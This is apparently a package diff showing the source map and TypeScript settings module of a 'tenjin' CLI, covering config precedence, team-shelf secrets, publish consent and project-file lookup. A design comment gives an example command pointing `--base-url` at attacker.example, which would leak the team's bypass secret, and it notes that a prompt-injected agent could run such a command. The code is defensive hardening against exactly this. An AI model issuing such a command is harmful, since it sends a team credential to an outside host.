configured,\n };\n}\n\nexport async function resolveContextSettings(ctx: CommandContext): Promise<ResolvedSettings> {\n const config = await loadRawConfig(ctx.dataDir);\n const s = resolveSettings({ config, flags: { baseUrl: ctx.flags.baseUrl }, env: process.env });\n // Paired with the origin here, once, so no command has to remember to.\n const bypass = resolveShelfBypass(config, s);\n return {\n baseUrl: s.baseUrl.value,\n configuredBaseUrl: config.baseUrl ?? CONFIG_DEFAULTS.baseUrl,\n publicShelfUrl: s.publicShelfUrl.value,\n ...(bypass !== undefined ? { bypass } : {}),\n teamMode: bypass !== undefined,\n rpcUrl: s.rpcUrl.value,\n evalCohort: s.evalCohort.value,\n bazaarRegistries: s.bazaarRegistries.value,\n experimentalBazaar: s.experimentalBazaar.value === 'on',\n sendMaxAmountAtomic:\n s.sendMaxAmount.value === SEND_MAX_UNSET\n ? SEND_MAX_UNSET\n : s.sendMaxAmount.value === 'none'\n ? null\n : BigInt(s.sendMaxAmount.value),\n policy: {\n maxAutoSpendAtomic: BigInt(s.maxAutoSpend.value),\n sessionBudgetAtomic: s.sessionBudget.value === 'none' ? null : BigInt(s.sessionBudget.value),\n allowlistCreators: s.allowlistCreators.value,\n },\n };\n}\n\n// ---------------------------------------------------------------------------\n// Publish consent settings (B3, D38)\n//\n// The publish mode/price cascade extends the same precedence machinery\n// (resolvePublishMode / resolvePublishDefaultPrice in lib/config) with a\n// per-project layer that needs I/O the pure resolvers can't do: it walks up from\n// cwd for a `.tenjin.json` and asks git whether that file is committed (the\n// loosening gate on `full-auto`). It lives here beside resolveContextSettings so\n// there is one settings resolver, not a parallel one.\n// ---------------------------------------------------------------------------\n\nexport const PROJECT_CONFIG_FILE = '.tenjin.json';\n\n/**\n * The per-project override file. `publish.defaultPrice` is DECIMAL USD (\"0.10\"),\n * because a hand-edited project file is a human edge (O1) — unlike config.json,\n * which stores atomic because `config set` converts at the command edge. The\n * decimal string is converted to atomic at load via the same money util the\n * config command uses. Partial + passthrough: forward-compatible with subkeys a\n * newer CLI adds, same posture as the global config.\n */\nconst ProjectConfigSchema = z\n .object({\n publish: z\n .object({\n mode: PublishModeSchema.optional(),\n defaultPrice: z.string().optional(),\n })\n .passthrough()\n .optional(),\n })\n .passthrough();\n\nexport interface LoadedProjectConfig {\n /** Absolute path of the discovered `.tenjin.json`. */\n path: string;\n layer: ProjectPublishLayer;\n}\n\nexport interface PublishSettingsDeps extends ProjectWalkDeps {\n /** git check-ignore seam; defaults to shelling out to git (see wallet/passphrase). */\n isGitignored?: (filePath: string) => Promise<boolean>;\n}\n\nexport interface ResolvedPublishSettings {\n mode: PublishMode;\n modeSource: Provenance;\n defaultPriceAtomic: string;\n defaultPriceSource: Provenance;\n /** The standing answer to the server gate's warn tier; see lib/consent.ts. */\n ackServerWarnings: AckServerWarnings;\n /** Non-fatal notices for stderr (e.g. the full-auto downgrade). */\n warnings: string[];\n /** The `.tenjin.json` that contributed the project layer, if one was found. */\n projectConfigPath?: string;\n}\n\n/**\n * Resolve the effective publish mode + default price across every layer:\n * global config.json < project `.tenjin.json` < env (TENJIN_PUBLISH_MODE) <\n * flag (`--mode`), with the `full-auto` loosening gate applied to the project\n * layer. The seam a `publish` command (B3.2) resolves its consent through.\n */\nexport async function resolvePublishSettings(\n input: { dataDir: string; cwd: string; flag?: string; env?: NodeJS.ProcessEnv },\n deps: PublishSettingsDeps = {},\n): Promise<ResolvedPublishSettings> {\n const env = input.env ?? process.env;\n const config = await loadRawConfig(input.dataDir);\n const project = await loadProjectConfig(input.cwd, deps);\n const layer = project?.layer;\n\n const mode = resolvePublishMode({ config, project: layer, env, flag: input.flag });\n const price = resolvePublishDefaultPrice({ config, project: layer });\n const warnings = mode.downgradedWarning !== undefined ? [mode.downgradedWarning] : [];\n // Said out loud for the same reason the downgrade is: a consent setting the\n // operator believes is in force, and is not, is worse than one they know is\n // ignored. `writeModeNotices` puts every entry of this list on stderr.\n if (layer?.ignoredAckServerWarnings === true) {\n warnings.push(\n `Ignoring publish.ackServerWarnings in ${project?.path ?? PROJECT_CONFIG_FILE}: it is read from the global config only, since it can only widen what a yes covers. Set it with \\`tenjin config set publish.ackServerWarnings <mode|on|off>\\`.`,\n );\n }\n\n return {\n mode: mode.value,\n modeSource: mode.source,\n defaultPriceAtomic: price.value,\n defaultPriceSource: price.source,\n // Global config only, on purpose: the project layer never contributes here,\n // so `project` is deliberately not passed. ONE reader, the same one\n // `resolveSettings` uses, because two global-only readings that drifted\n // would drift about consent.\n ackServerWarnings: resolveAckServerWarnings(config).value,\n warnings,\n ...(project !== null ? { projectConfigPath: project.path } : {}),\n };\n}\n\n/**\n * Find the nearest `.tenjin.json` walking up from cwd toward the repo root (the\n * first directory holding a `.git`, inclusive), never crossing above $HOME, then\n * load, validate, and check whether it is gitignored. A file not owned by the\n * current user is ignored with a stderr warning (a planted config on a shared\n * host must not become the honored project layer). Null when none is found; a\n * present-but-unreadable/malformed file is CONFIG_INVALID (never silently\n * skipped).\n */\nexport async function loadProjectConfig(\n cwd: string,\n deps: PublishSettingsDeps = {},\n): Promise<LoadedProjectConfig | null> {\n const path = await findProjectConfigFile(cwd, deps);\n if (path === null) return null;\n\n let json: unknown;\n try {\n // readFile is inside the try: a raced delete (ENOENT), a directory named\n // .tenjin.json (EISDIR), or a permission error (EACCES) is a bad project file,\n // not an INTERNAL fault.\n json = JSON.parse(await readFile(path, 'utf8'));\n } catch (err) {\n throw new CliError('CONFIG_INVALID', `${PROJECT_CONFIG_FILE} at ${path} could not be read`, {\n fix: `Fix or delete ${path} (must be a readable JSON file).`,\n cause: err,\n });\n }\n const parsed = ProjectConfigSchema.safeParse(json);\n if (!parsed.success) {\n throw new CliError('CONFIG_INVALID', `${PROJECT_CONFIG_FILE} at ${path} is invalid`, {\n fix: `Correct the reported keys in ${path}, or delete it.`,\n details: parsed.error.issues,\n });\n }\n\n const isGitignored = deps.isGitignored ?? defaultIsGitignored;\n const gitignored = await isGitignored(path);\n const layer: ProjectPublishLayer = { gitignored };\n if (parsed.data.publish !== undefined) {\n const { mode, defaultPrice } = parsed.data.publish;\n layer.publish = {\n ...(mode !== undefined ? { mode } : {}),\n ...(defaultPrice !== undefined\n ? { defaultPrice: parseProjectPrice(defaultPrice, path) }\n : {}),\n };\n // The block is passthrough, so this key parses here and is then never read:\n // `ackServerWarnings` is global-only because it can only loosen what a yes\n // covers. Failing closed is the point, but doing it SILENTLY leaves an\n // operator believing a consent setting is in force that is not, so it says\n // so on stderr the way a downgraded `full-auto` does.\n if ((parsed.data.publish as { ackServerWarnings?: unknown }).ackServerWarnings !== undefined) {\n layer.ignoredAckServerWarnings = true;\n }\n }\n return { path, layer };\n}\n\n/**\n * Convert a `.tenjin.json` decimal-USD price to atomic via the shared money\n * parser. parseUsdToAtomic throws USAGE on a bad amount; re-raise as\n * CONFIG_INVALID naming the file, so it reads like the file's other errors.\n */\nfunction parseProjectPrice(decimalUsd: string, path: string): string {\n try {\n return parseUsdToAtomic(decimalUsd);\n } catch (err) {\n throw new CliError(\n 'CONFIG_INVALID',\n `${PROJECT_CONFIG_FILE} at ${path} has an invalid publish.defaultPrice`,\n { fix: 'Use a non-negative decimal USD amount like \"0.10\".', cause: err },\n );\n }\n}\n\nasync function findProjectConfigFile(\n cwd: string,\n deps: PublishSettingsDeps,\n): Promise<string | null> {\n const hit = await findNearestProjectFiles(cwd, [PROJECT_CONFIG_FILE], deps);\n return hit?.found[0] ?? null;\n}\n\nexport interface ProjectWalkDeps {\n /** Ownership seam; defaults to stat().uid vs process uid. Gates a planted file. */\n isForeignOwned?: (filePath: string) => Promise<boolean>;\n /** One-line stderr warning sink; defaults to process.stderr. */\n warn?: (message: string) => void;\n /** Upper bound of the walk; defaults to the user's home directory. */\n homeDir?: string;\n}\n\nexport interface ProjectWalkHit {\n /** The directory the walk stopped in. */\n dir: string;\n /** Every candidate present there and owned by this user, in `names` order. */\n found: string[];\n}\n\n/**\n * THE ONE WALK UP FROM A WORKING DIRECTORY to a project file, shared by the\n * shelf's `.tenjin.json` and the router's `.tenjin/config.json` pair: the\n * nearest directory, walking up from `cwd`, that holds at least one of\n * `names` (paths relative to that directory). `homeIsProject: false` stops\n * before looking in $HOME itself, for a file whose home copy is the global one.\n */\nexport async function findNearestProjectFiles(\n cwd: string,\n names: readonly string[],\n deps: ProjectWalkDeps & { homeIsProject?: boolean } = {},\n): Promise<ProjectWalkHit | null> {\n const homeDir = deps.homeDir ?? homedir();\n\n let dir = cwd;\n // Bounded by $HOME (a shared-host trust boundary) and the filesystem root\n // (dirname('/') === '/'), whichever comes first.\n for (;;) {\n if (dir === homeDir && deps.homeIsProject === false) return null;\n const found = await ownedCandidates(dir, names, deps);\n if (found.length > 0) return { dir, found };\n if (await pathExists(join(dir, '.git'))) return null; // repo root, no file\n if (dir === homeDir) return null; // never cross above $HOME\n const parent = dirname(dir);\n if (parent === dir) return null;\n dir = parent;\n }\n}\n\n/**\n * EVERY directory from `cwd` up to the git root (inclusive) that holds one of\n * `names`, nearest first, under the same bounds as\n * {@link findNearestProjectFiles}; `gitRoot` is null outside a repository.\n * For layers that each only tighten, where reading one more can never loosen.\n */\nexport async function findAllProjectFiles(\n cwd: string,\n names: readonly string[],\n deps: ProjectWalkDeps & { homeIsProject?: boolean } = {},\n): Promise<{ levels: ProjectWalkHit[]; gitRoot: string | null }> {\n const homeDir = deps.homeDir ?? homedir();\n const levels: ProjectWalkHit[] = [];\n let dir = cwd;\n for (;;) {\n if (dir === homeDir && deps.homeIsProject === false) return { levels, gitRoot: null };\n const found = await ownedCandidates(dir, names, deps);\n if (found.length > 0) levels.push({ dir, found });\n if (await pathExists(join(dir, '.git'))) return { levels, gitRoot: dir };\n if (dir === homeDir) return { levels, gitRoot: null };\n const parent = dirname(dir);\n if (parent === dir) return { levels, gitRoot: null };\n dir = parent;\n }\n}\n\n/**\n * The main working tree behind a git worktree whose root is `gitRoot`, or null\n * when `gitRoot` is not a linked worktree. Filesystem only, no `git` process:\n * the worktree's `.git` FILE names its gitdir, whose `commondir` names the\n * main repository's `.git`. A bare common dir, one that resolves outside\n * $HOME, and a submodule (a gitdir with no `commondir`) all give null.\n */\nexport async function mainWorktreeOf(\n gitRoot: string,\n homeDir: string = homedir(),\n): Promise<string | null> {\n try {\n const dotGit = join(gitRoot, '.git');\n if (!(await stat(dotGit)).isFile()) return null;\n const line = /^gitdir:\\s*(.+?)\\s*$/m.exec(await readFile(dotGit, 'utf8'));\n if (line === null) return null;\n const gitdir = resolve(gitRoot, line[1]!);\n const commonDir = resolve(gitdir, (await readFile(join(gitdir, 'commondir'), 'utf8')).trim());\n if (basename(commonDir) !== '.git' || !(await stat(commonDir)).isDirectory()) return null;\n const main = dirname(commonDir);\n if (main === gitRoot || !main.startsWith(`${homeDir}${sep}`)) return null;\n return main;\n } catch {\n return null;\n }\n}\n\n/** The candidates present in `dir` and owned by this user, in `names` order. */\nexport async function ownedCandidates(\n dir: string,\n names: readonly string[],\n deps: ProjectWalkDeps = {},\n): Promise<string[]> {\n const isForeignOwned = deps.isForeignOwned ?? defaultIsForeignOwned;\n const warn = deps.warn ?? ((message: string) => process.stderr.write(`${message}\\n`));\n const found: string[] = [];\n for (const name of names) {\n const candidate = join(dir, name);\n if (!(await pathExists(candidate))) continue;\n if (await isForeignOwned(candidate)) {\n // A file owned by another user (e.g. /tmp/.tenjin.json on a shared box)\n // must never become the honored layer; skip it and keep walking.\n warn(`Ignoring ${candidate}: not owned by the current user.`);\n } else {\n found.push(candidate);\n }\n }\n return found;\n}\n\n/**\n * The directory a project file belongs in when none exists yet: the git root\n * above `cwd`, or `cwd` itself outside a repository. Same bounds as the walk.\n */\nexport async function projectRoot(cwd: string, homeDir: string = homedir()): Promise<string> {\n let dir = cwd;\n for (;;) {\n if (await pathExists(join(dir, '.git'))) return dir;\n if (dir === homeDir) return cwd;\n const parent = dirname(dir);\n if (parent === dir) return cwd;\n dir = parent;\n }\n}\n\n/**\n * True when the file is owned by a different uid than the process. On a platform\n * without a uid model (Windows: process.getuid is undefined) this is always\n * false — the ownership gate is a POSIX shared-host protection.\n */\nasync function defaultIsForeignOwned(filePath: string): Promise<boolean> {\n const uid = process.getuid?.();\n if (uid === undefined) return false;\n try {\n return (await stat(filePath)).uid !== uid;\n } catch {\n return false;\n }\n}\n\n/** True when a path exists (of any type). */\nexport async function pathExists(path: string): Promise<boolean> {\n try {\n await stat(path);\n return true;\n } catch {\n return false;\n }\n}\n\n/**\n * True only on a git check-ignore exit 0 (the path is ignored). Exit 1 (tracked)\n * and any error (git absent, not a repo) resolve false: `full-auto` is honored\n * from a project file ONLY when git positively confirms it is ignored. Uses\n * execFile with an argv array (never a shell), matching wallet/passphrase.ts.\n */\nfunction defaultIsGitignored(filePath: string): Promise<boolean> {\n return new Promise((resolve) => {\n execFile(\n 'git',\n ['check-ignore', '--quiet', '--', filePath],\n { cwd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F,YAAQ,MAAM,KAAK,QAAQ,GAAG,QAAQ;AAAA,EACxC,QAAQ;AACN,WAAO;AAAA,EACT;AACF;AAGA,eAAsB,WAAW,MAAgC;AAC/D,MAAI;AACF,UAAM,KAAK,IAAI;AACf,WAAO;AAAA,EACT,QAAQ;AACN,WAAO;AAAA,EACT;AACF;AAQA,SAAS,oBAAoB,UAAoC;AAC/D,SAAO,IAAI,QAAQ,CAACA,aAAY;AAC9B;AAAA,MACE;AAAA,MACA,CAAC,gBAAgB,WAAW,MAAM,QAAQ;AAAA,MAC1C,EAAE,KAAK,QAAQ,QAAQ,EAAE;AAAA,MACzB,CAAC,QAAQA,SAAQ,QAAQ,IAAI;AAAA,IAC/B;AAAA,EACF,CAAC;AACH;","names":["resolve"]}
|
|
1
|
+
{"version":3,"sources":["../src/lib/settings.ts"],"sourcesContent":["import { execFile } from 'node:child_process';\nimport { readFile, stat } from 'node:fs/promises';\nimport { homedir } from 'node:os';\nimport { basename, dirname, join, resolve, sep } from 'node:path';\nimport { z } from 'zod';\nimport { CliError } from './errors';\nimport {\n CONFIG_DEFAULTS,\n PublishModeSchema,\n SEND_MAX_UNSET,\n loadRawConfig,\n resolveAckServerWarnings,\n resolvePublishDefaultPrice,\n resolvePublishMode,\n resolveSettings,\n} from './config';\nimport type {\n AckServerWarnings,\n EffectiveSettings,\n PartialConfig,\n Provenance,\n ProjectPublishLayer,\n PublishMode,\n} from './config';\nimport type { ShelfBypass } from './http';\nimport { parseUsdToAtomic } from './money';\nimport { PRODUCTION_ORIGIN, isSameDeployment } from './production-origin';\nimport type { SpendPolicy } from './policy';\nimport type { CommandContext } from '../context';\n\n/**\n * The effective runtime settings a B2 command needs, resolved once through the\n * same precedence (flag > env > file > default) config/doctor use. Spend values\n * arrive atomic from config and are handed on as bigint for the policy layer.\n */\nexport interface ResolvedSettings {\n baseUrl: string;\n /**\n * `baseUrl` AS THE CONFIG FILE NAMES IT, before `--base-url`/`TENJIN_BASE_URL`.\n * Anything that wallet-signs pins to this rather than to {@link baseUrl}: a\n * flag can point a run at another host, and an agent that names one must not\n * thereby move the pin. Same rule, same reason, as {@link resolveShelfBypass}.\n */\n configuredBaseUrl: string;\n /** The public marketplace: the second shelf a team-mode search falls through\n * to, and the one other origin `read`/`buy`/`inspect` will resolve against. */\n publicShelfUrl: string;\n /**\n * The team shelf's bypass secret paired with the CONFIGURED `baseUrl`'s\n * origin, or undefined in public mode and on a run whose base URL came from\n * `--base-url`/`TENJIN_BASE_URL` (see {@link resolveShelfBypass}). Handed to\n * the transport, which attaches the header from the REQUEST URL — so it cannot\n * reach `publicShelfUrl` however it is passed.\n */\n bypass?: ShelfBypass;\n /** True exactly when the door key was issued: the one switch between public\n * mode and team mode. */\n teamMode: boolean;\n rpcUrl: string;\n policy: SpendPolicy;\n /** Search-only privacy opt-in; sends X-Tenjin-Eval-Cohort: 1 when true. */\n evalCohort: boolean;\n /** x402 discovery registries `discover` queries and the pay lane verifies against. */\n bazaarRegistries: string[];\n /** `experimental.bazaar`: whether the router may also offer the open Bazaar's\n * unreviewed sellers. Tenjin's reviewed list is always requested; only\n * `router.enabled false` stops every offer. */\n experimentalBazaar: boolean;\n /**\n * Hard per-send cap for `tenjin wallet send`: SEND_MAX_UNSET = never configured\n * (send refuses until `config set sendMaxAmount`), null = explicit \"none\"\n * (uncapped opt-in), 0n = disabled, otherwise the atomic cap.\n */\n sendMaxAmountAtomic: bigint | null | typeof SEND_MAX_UNSET;\n}\n\n/** `URL.origin`, or undefined for anything unparseable. */\nfunction tryOrigin(url: string): string | undefined {\n try {\n return new URL(url).origin;\n } catch {\n return undefined;\n }\n}\n\n/**\n * The team shelf's door key, paired with the origin THE OPERATOR CONFIGURED —\n * never with the one this run happens to be pointed at.\n *\n * `shelfBypassSecret` is file-only, but `baseUrl` is not: `--base-url` and\n * `TENJIN_BASE_URL` outrank the file. Pairing the secret with the RESOLVED base\n * URL therefore let one command hand the team's key to any host that was named\n * on the command line — `tenjin search --base-url https://attacker.example \"…\"`\n * sends it in the first request, and the transport's origin test agrees, because\n * the pair it compares against was built from the attacker's URL. That is not a\n * hypothetical shape: `resource-ref`'s own refusal text already names a\n * task-supplied `--base-url` as the attack a prompt-injected agent runs.\n *\n * So the compare happens here, once, before the pair exists: the key is issued\n * only when the run is still pointed at the configured shelf. A run pointed\n * anywhere else gets NO pair at all, which also drops team mode — an overridden\n * base URL runs as an ordinary public-mode run, with the client scan and the\n * confirm cascade back on, rather than as a team-mode run against a stranger.\n *\n * The generated hooks need no equivalent for the flag rule: they read `baseUrl`\n * straight out of config.json and have no flag or env layer to be re-pointed\n * through. They DO carry the second rule below (`teamShelfOrigin`).\n *\n * SECOND RULE: THE TEAM SHELF MUST BE A SHELF OF ITS OWN. Team mode was keyed on\n * a non-empty secret alone, and both `baseUrl` and `publicShelfUrl` default to\n * tenjin.sh, so the two-command day-0 setup run in the other order — or the\n * secret line alone on a second machine — put a machine in \"team mode\" pointed\n * at the PUBLIC MARKETPLACE. Team mode is precisely the mode that skips the\n * publish scan, skips the confirm cascade and prices at 0, so under\n * `publish.mode full-auto` that misconfiguration auto-publishes internal\n * codebase notes to tenjin.sh, unscanned and unacknowledged; it also posts the\n * team's key to the public marketplace and searches one origin twice per fire.\n * A secret with no private shelf behind it is a setup that is not finished, so\n * it fails safe to public mode rather than half-on. `tenjin doctor` and\n * `config set shelfBypassSecret` say so out loud, because silence here is what\n * made the misconfiguration survivable.\n */\nexport function resolveShelfBypass(\n config: PartialConfig,\n s: EffectiveSettings,\n): ShelfBypass | undefined {\n const secret = s.shelfBypassSecret.value;\n if (secret.length === 0) return undefined;\n const configured = tryOrigin(config.baseUrl ?? CONFIG_DEFAULTS.baseUrl);\n const effective = tryOrigin(s.baseUrl.value);\n if (configured === undefined || effective === undefined || configured !== effective) {\n return undefined;\n }\n if (!isTeamShelfOrigin(configured, s.publicShelfUrl.value)) return undefined;\n return { origin: configured, secret };\n}\n\n/**\n * Is `origin` a shelf of the team's own, as opposed to the public marketplace?\n *\n * The compare `resource-ref` already makes to no-op its second-origin allowance,\n * plus the production origin itself: a `publicShelfUrl` pointed somewhere else\n * must not make tenjin.sh read as private. `isSameDeployment` rather than `===`\n * so an alias of production (tenjin.blog) is not a loophole.\n */\nexport function isTeamShelfOrigin(origin: string, publicShelfUrl: string): boolean {\n if (isSameDeployment(origin, PRODUCTION_ORIGIN)) return false;\n const publicOrigin = tryOrigin(publicShelfUrl);\n return publicOrigin === undefined || !isSameDeployment(origin, publicOrigin);\n}\n\n/**\n * Is this MACHINE in team mode — a shelf of the team's own plus the door key that\n * opens it? The same two-part rule `resolveContextSettings` applies\n * (`ResolvedSettings.teamMode`), read off the raw config instead of resolved\n * settings, and the difference is deliberate: a `--base-url` or `TENJIN_BASE_URL`\n * on one invocation must not answer this question.\n *\n * The installed skill text (lib/skill-materialize) needs the raw-config form: it\n * outlives the command that wrote it and is read by every later session on this\n * machine, so shaping it by a one-off flag would leave a team machine reading\n * public guidance until the next install.\n *\n * A secret with `baseUrl` still on the marketplace is NOT team mode, per\n * {@link isTeamShelfOrigin}: that half-set state runs as ordinary public mode\n * rather than treating tenjin.sh as a private shelf.\n */\nexport function isTeamModeConfig(config: PartialConfig): boolean {\n const secret = config.shelfBypassSecret ?? CONFIG_DEFAULTS.shelfBypassSecret;\n if (typeof secret !== 'string' || secret === '') return false;\n const origin = tryOrigin(config.baseUrl ?? CONFIG_DEFAULTS.baseUrl);\n if (origin === undefined) return false;\n return isTeamShelfOrigin(origin, config.publicShelfUrl ?? CONFIG_DEFAULTS.publicShelfUrl);\n}\n\n/** Where a close for one stored search has to go, and whether it carries the key. */\nexport interface ShelfRoute {\n baseUrl: string;\n bypass?: ShelfBypass;\n /**\n * False when the ENTRY named a shelf other than the configured `baseUrl` —\n * including an unrecognised origin, which `baseUrl` above nonetheless routes\n * back to the configured shelf.\n */\n configured: boolean;\n}\n\n/**\n * THE SHELF THAT ANSWERED, for anything closing a loop.\n *\n * A team-mode search asks the team shelf and falls through to the public\n * marketplace, and the two have separate databases: the searchId the public leg\n * minted exists only there. Posting its outcome to the team shelf tells the team\n * shelf about a search it never ran (where it retries a parent-not-visible window\n * and then raises `outcomes_dropped_no_parent`, an alarm meant to mean a broken\n * fleet) and tells the marketplace — whose demand signal is the entire reason the\n * verb exists — nothing at all.\n *\n * `shelfBaseUrl` is absent on an entry written before it existed and on every\n * single-shelf public-mode run, and absent means the configured base, which is\n * what those entries meant.\n *\n * ONLY THE TWO CONFIGURED SHELVES ARE ROUTABLE. `shelfBaseUrl` is a plain\n * optional string in the store schema with no URL validation, and the only\n * writers are this CLI's own two configured values — so any OTHER origin in that\n * field is a corrupt or planted entry, not a third shelf, and one hand-edited\n * search row would otherwise make `tenjin outcome --search-id` POST to\n * a host the operator never configured. An unrecognised origin therefore routes\n * to the configured base exactly as a missing or unparseable one does: fail open\n * to the configured shelf, never out to a foreign one. This is the same\n * re-assertion `resolveResourceRef` already makes against this store's\n * `candidate.url` before any send. `configured` still reports false for such an\n * entry, so `publish` keeps dropping its searchId rather than misfiling it.\n *\n * THE KEY RIDES THE ORIGIN, not the call site: `bypass` comes back only when the\n * route is the origin the secret was paired with. The transport re-derives the\n * same rule from the request URL ({@link shelfBypassHeaders}), so this is the\n * second of two locks rather than the only one — but a call site that reads\n * `route.bypass` should never be the place a key first goes off-origin.\n */\nexport function shelfRouteFor(\n stored: { shelfBaseUrl?: string } | null | undefined,\n settings: Pick<ResolvedSettings, 'baseUrl' | 'publicShelfUrl' | 'bypass'>,\n): ShelfRoute {\n const recorded = stored?.shelfBaseUrl;\n const configuredOrigin = tryOrigin(settings.baseUrl);\n const recordedOrigin = recorded === undefined ? undefined : tryOrigin(recorded);\n // An unparseable record is not a second shelf, it is a corrupt field: fall back\n // to the configured base rather than posting a close nowhere.\n if (recorded === undefined || recordedOrigin === undefined) {\n return {\n baseUrl: settings.baseUrl,\n ...(settings.bypass !== undefined ? { bypass: settings.bypass } : {}),\n configured: true,\n };\n }\n const configured =\n configuredOrigin !== undefined && isSameDeployment(recordedOrigin, configuredOrigin);\n // The allow-list: the configured base, or the public shelf it falls through to.\n // Nothing else is a shelf this machine ever searched.\n const publicOrigin = tryOrigin(settings.publicShelfUrl);\n const routable =\n configured || (publicOrigin !== undefined && isSameDeployment(recordedOrigin, publicOrigin));\n if (!routable) {\n return {\n baseUrl: settings.baseUrl,\n ...(settings.bypass !== undefined ? { bypass: settings.bypass } : {}),\n configured: false,\n };\n }\n const carries = settings.bypass !== undefined && settings.bypass.origin === recordedOrigin;\n return {\n baseUrl: recorded,\n ...(carries ? { bypass: settings.bypass } : {}),\n configured,\n };\n}\n\nexport async function resolveContextSettings(ctx: CommandContext): Promise<ResolvedSettings> {\n const config = await loadRawConfig(ctx.dataDir);\n const s = resolveSettings({ config, flags: { baseUrl: ctx.flags.baseUrl }, env: process.env });\n // Paired with the origin here, once, so no command has to remember to.\n const bypass = resolveShelfBypass(config, s);\n return {\n baseUrl: s.baseUrl.value,\n configuredBaseUrl: config.baseUrl ?? CONFIG_DEFAULTS.baseUrl,\n publicShelfUrl: s.publicShelfUrl.value,\n ...(bypass !== undefined ? { bypass } : {}),\n teamMode: bypass !== undefined,\n rpcUrl: s.rpcUrl.value,\n evalCohort: s.evalCohort.value,\n bazaarRegistries: s.bazaarRegistries.value,\n experimentalBazaar: s.experimentalBazaar.value === 'on',\n sendMaxAmountAtomic:\n s.sendMaxAmount.value === SEND_MAX_UNSET\n ? SEND_MAX_UNSET\n : s.sendMaxAmount.value === 'none'\n ? null\n : BigInt(s.sendMaxAmount.value),\n policy: {\n maxAutoSpendAtomic: BigInt(s.maxAutoSpend.value),\n sessionBudgetAtomic: s.sessionBudget.value === 'none' ? null : BigInt(s.sessionBudget.value),\n allowlistCreators: s.allowlistCreators.value,\n },\n };\n}\n\n// ---------------------------------------------------------------------------\n// Publish consent settings (B3, D38)\n//\n// The publish mode/price cascade extends the same precedence machinery\n// (resolvePublishMode / resolvePublishDefaultPrice in lib/config) with a\n// per-project layer that needs I/O the pure resolvers can't do: it walks up from\n// cwd for a `.tenjin.json` and asks git whether that file is committed (the\n// loosening gate on `full-auto`). It lives here beside resolveContextSettings so\n// there is one settings resolver, not a parallel one.\n// ---------------------------------------------------------------------------\n\nexport const PROJECT_CONFIG_FILE = '.tenjin.json';\n\n/**\n * The per-project override file. `publish.defaultPrice` is DECIMAL USD (\"0.10\"),\n * because a hand-edited project file is a human edge (O1) — unlike config.json,\n * which stores atomic because `config set` converts at the command edge. The\n * decimal string is converted to atomic at load via the same money util the\n * config command uses. Partial + passthrough: forward-compatible with subkeys a\n * newer CLI adds, same posture as the global config.\n */\nconst ProjectConfigSchema = z\n .object({\n publish: z\n .object({\n mode: PublishModeSchema.optional(),\n defaultPrice: z.string().optional(),\n })\n .passthrough()\n .optional(),\n })\n .passthrough();\n\nexport interface LoadedProjectConfig {\n /** Absolute path of the discovered `.tenjin.json`. */\n path: string;\n layer: ProjectPublishLayer;\n}\n\nexport interface PublishSettingsDeps extends ProjectWalkDeps {\n /** git check-ignore seam; defaults to shelling out to git (see wallet/passphrase). */\n isGitignored?: (filePath: string) => Promise<boolean>;\n}\n\nexport interface ResolvedPublishSettings {\n mode: PublishMode;\n modeSource: Provenance;\n defaultPriceAtomic: string;\n defaultPriceSource: Provenance;\n /** The standing answer to the server gate's warn tier; see lib/consent.ts. */\n ackServerWarnings: AckServerWarnings;\n /** Non-fatal notices for stderr (e.g. the full-auto downgrade). */\n warnings: string[];\n /** The `.tenjin.json` that contributed the project layer, if one was found. */\n projectConfigPath?: string;\n}\n\n/**\n * Resolve the effective publish mode + default price across every layer:\n * global config.json < project `.tenjin.json` < env (TENJIN_PUBLISH_MODE) <\n * flag (`--mode`), with the `full-auto` loosening gate applied to the project\n * layer. The seam a `publish` command (B3.2) resolves its consent through.\n */\nexport async function resolvePublishSettings(\n input: { dataDir: string; cwd: string; flag?: string; env?: NodeJS.ProcessEnv },\n deps: PublishSettingsDeps = {},\n): Promise<ResolvedPublishSettings> {\n const env = input.env ?? process.env;\n const config = await loadRawConfig(input.dataDir);\n const project = await loadProjectConfig(input.cwd, deps);\n const layer = project?.layer;\n\n const mode = resolvePublishMode({ config, project: layer, env, flag: input.flag });\n const price = resolvePublishDefaultPrice({ config, project: layer });\n const warnings = mode.downgradedWarning !== undefined ? [mode.downgradedWarning] : [];\n // Said out loud for the same reason the downgrade is: a consent setting the\n // operator believes is in force, and is not, is worse than one they know is\n // ignored. `writeModeNotices` puts every entry of this list on stderr.\n if (layer?.ignoredAckServerWarnings === true) {\n warnings.push(\n `Ignoring publish.ackServerWarnings in ${project?.path ?? PROJECT_CONFIG_FILE}: it is read from the global config only, since it can only widen what a yes covers. Set it with \\`tenjin config set publish.ackServerWarnings <mode|on|off>\\`.`,\n );\n }\n\n return {\n mode: mode.value,\n modeSource: mode.source,\n defaultPriceAtomic: price.value,\n defaultPriceSource: price.source,\n // Global config only, on purpose: the project layer never contributes here,\n // so `project` is deliberately not passed. ONE reader, the same one\n // `resolveSettings` uses, because two global-only readings that drifted\n // would drift about consent.\n ackServerWarnings: resolveAckServerWarnings(config).value,\n warnings,\n ...(project !== null ? { projectConfigPath: project.path } : {}),\n };\n}\n\n/**\n * Find the nearest `.tenjin.json` walking up from cwd toward the repo root (the\n * first directory holding a `.git`, inclusive), never crossing above $HOME, then\n * load, validate, and check whether it is gitignored. A file not owned by the\n * current user is ignored with a stderr warning (a planted config on a shared\n * host must not become the honored project layer). Null when none is found; a\n * present-but-unreadable/malformed file is CONFIG_INVALID (never silently\n * skipped).\n */\nexport async function loadProjectConfig(\n cwd: string,\n deps: PublishSettingsDeps = {},\n): Promise<LoadedProjectConfig | null> {\n const path = await findProjectConfigFile(cwd, deps);\n if (path === null) return null;\n\n let json: unknown;\n try {\n // readFile is inside the try: a raced delete (ENOENT), a directory named\n // .tenjin.json (EISDIR), or a permission error (EACCES) is a bad project file,\n // not an INTERNAL fault.\n json = JSON.parse(await readFile(path, 'utf8'));\n } catch (err) {\n throw new CliError('CONFIG_INVALID', `${PROJECT_CONFIG_FILE} at ${path} could not be read`, {\n fix: `Fix or delete ${path} (must be a readable JSON file).`,\n cause: err,\n });\n }\n const parsed = ProjectConfigSchema.safeParse(json);\n if (!parsed.success) {\n throw new CliError('CONFIG_INVALID', `${PROJECT_CONFIG_FILE} at ${path} is invalid`, {\n fix: `Correct the reported keys in ${path}, or delete it.`,\n details: parsed.error.issues,\n });\n }\n\n const isGitignored = deps.isGitignored ?? defaultIsGitignored;\n const gitignored = await isGitignored(path);\n const layer: ProjectPublishLayer = { gitignored };\n if (parsed.data.publish !== undefined) {\n const { mode, defaultPrice } = parsed.data.publish;\n layer.publish = {\n 